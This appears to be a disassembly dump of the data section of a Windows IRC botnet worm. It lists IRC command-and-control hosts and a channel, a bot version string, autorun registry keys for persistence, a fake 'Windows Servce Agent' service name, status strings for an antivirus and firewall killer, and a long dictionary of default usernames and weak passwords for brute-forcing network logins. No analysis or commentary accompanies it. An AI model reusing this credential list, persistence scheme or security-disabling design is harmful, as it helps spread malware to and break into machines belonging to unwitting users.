aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D734o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D734h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D74C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D74C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D76C	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D76C
		dd offset unk_427E68
off_427E8C	dd offset off_43D78C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D78C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D7B0	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D7B0
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D734
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D734
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D74C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D76C
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D78C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(1B2B6E8Bh), 5 dup(7FC49B3h), 5	dup(68773A48h)
		dd 7Ah dup(0)
		dd 68773A48h, 0
		dd 1B2B6E8Bh, 15h dup(0)
		dd 7FC49B3h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 0C8Bh		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 1B58h		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 5			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Dh, 6Eh
		dd 2E726167h, 657865h
dword_429114	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_429138:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D7D8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_429498	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:00429484o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:0042947Co
aMain		db 'main',0             ; DATA XREF: ___:00429478o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:00429474o
aBlank		db 'blank',0            ; DATA XREF: ___:00429470o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:0042946Co
		align 4
aControl	db 'control',0          ; DATA XREF: ___:00429468o
aXp		db 'xp',0               ; DATA XREF: ___:00429464o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429460o
		align 10h
aHp		db 'hp',0               ; DATA XREF: ___:0042945Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429458o
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429454o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429450o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:0042944Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429448o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429440o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:0042943Co
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00429438o
aSa		db 'sa',0               ; DATA XREF: ___:00429434o
		align 10h
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429430o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:00429428o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429424o
		align 10h
aData		db 'data',0             ; DATA XREF: ___:00429420o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:0042941Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429418o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429414o
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429410o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429408o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429404o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: ___:00429400o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:004293FCo
		align 10h
aHell		db 'hell',0             ; DATA XREF: ___:004293F8o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:004293F4o
aSex		db 'sex',0              ; DATA XREF: ___:004293F0o
					; ___:off_4385B0o
aSlut		db 'slut',0             ; DATA XREF: ___:004293ECo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:004293E8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: ___:004293E4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:004293E0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:004293DCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:004293D8o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:004293D4o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:004293D0o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:004293CCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293C8o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293C0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293BCo
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293B8o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293B4o
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293B0o
aNeil		db 'neil',0             ; DATA XREF: ___:004293ACo
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293A8o
aBrian		db 'brian',0            ; DATA XREF: ___:004293A4o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:0042939Co
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:00429398o
aSam		db 'sam',0              ; DATA XREF: ___:00429394o
aLuke		db 'luke',0             ; DATA XREF: ___:00429390o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:0042938Co
					; ___:004293A0o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:00429388o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:00429384o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:00429380o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:0042937Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:00429378o
aJen		db 'jen',0              ; DATA XREF: ___:00429374o
aBob		db 'bob',0              ; DATA XREF: ___:00429370o
					; ___:004293C4o
aQwe		db 'qwe',0              ; DATA XREF: ___:0042936Co
aZxc		db 'zxc',0              ; DATA XREF: ___:00429368o
aAsd		db 'asd',0              ; DATA XREF: ___:00429364o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429360o
aWin2000	db 'win2000',0          ; DATA XREF: ___:0042935Co
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429358o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429354o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429350o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: ___:0042934Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00429348o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429344o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429340o
aOem		db 'oem',0              ; DATA XREF: ___:0042933Co
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
					; ___:00429338o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429334o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429330o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:0042932Co
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429328o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:00429324o
					; ___:00429480o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429320o
aWeb		db 'web',0              ; DATA XREF: ___:0042931Co
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429318o
aMail		db 'mail',0             ; DATA XREF: ___:00429314o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429310o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:0042930Co
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
					; ___:00429304o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429300o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: ___:004292F8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:004292F4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:004292F0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:004292ECo
		align 4
aNone		db 'none',0             ; DATA XREF: ___:004292E8o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:004292E0o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:004292DCo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
					; ___:004292D8o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:004292D4o
		align 4
a2001		db '2001',0             ; DATA XREF: ___:004292D0o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:004292CCo
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292C8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292C4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292C0o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: ___:004292BCo
a123456		db '123456',0           ; DATA XREF: ___:004292B8o
		align 10h
a12345		db '12345',0            ; DATA XREF: ___:004292B4o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292B0o
		align 10h
a123		db '123',0              ; DATA XREF: ___:004292ACo
a12		db '12',0               ; DATA XREF: ___:004292A8o
		align 4
a1:					; DATA XREF: ___:004292A4o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292A0o
aPwd		db 'pwd',0              ; DATA XREF: ___:0042929Co
aPass		db 'pass',0             ; DATA XREF: ___:00429298o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:00429294o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:00429290o
		align 10h
aPassword	db 'password',0         ; DATA XREF: ___:0042928Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:00429288o
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:00429284o
aDb2		db 'db2',0              ; DATA XREF: ___:00429260o
					; ___:0042942Co
aOracle		db 'oracle',0           ; DATA XREF: ___:0042925Co
					; ___:00429444o
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:00429258o
aDatabase	db 'database',0         ; DATA XREF: ___:00429254o
					; ___:0042940Co
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429250o
					; ___:004292FCo
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042924Co
					; ___:004292E4o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:00429248o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:00429244o
					; ___:0042948Co
aStudent	db 'student',0          ; DATA XREF: ___:00429240o
					; ___:00429488o
aOwner		db 'owner',0            ; DATA XREF: ___:0042923Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:00429238o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:00429234o
					; ___:00429308o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:00429230o
					; ___:00429490o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042922Co
					; ___:00429280o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: ___:00429228o
					; ___:0042927Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:00429224o
					; ___:00429278o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429220o
					; ___:00429274o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042921Co
					; ___:00429270o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:00429218o
					; ___:0042926Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299A0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429A00	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429A40	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A64	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429A80	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
